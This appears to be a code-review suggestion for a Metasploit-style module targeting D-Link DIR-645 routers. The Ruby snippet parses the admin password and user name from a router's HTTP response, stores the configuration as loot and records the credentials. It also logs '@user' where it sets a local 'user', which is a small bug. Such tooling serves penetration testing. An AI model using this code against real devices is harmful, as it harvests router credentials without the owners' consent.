This code can be simplified with something like

```ruby
			if res.body =~ /<password>(.*)<\/password>/
				print_good("#{rhost}:#{rport} - credentials successfully extracted")
				pass = $1

				#store all details as loot -> there is some usefull stuff in the response
				loot = store_loot("dlink.dir645.config","text/xml",rhost, res.body)
				print_good("#{rhost}:#{rport} - Account details downloaded to: #{loot}")

				user = ""
				if res.body =~ /<name>(.*)<\/name>/
					user = $1
				end

				vprint_good("user: #{@user}")
				vprint_good("pass: #{pass}")

				report_auth_info(
					:host => rhost,
					:port => rport,
					:sname => 'http',
					:user => user,
					:pass => pass,
					:active => true
				)
			end

```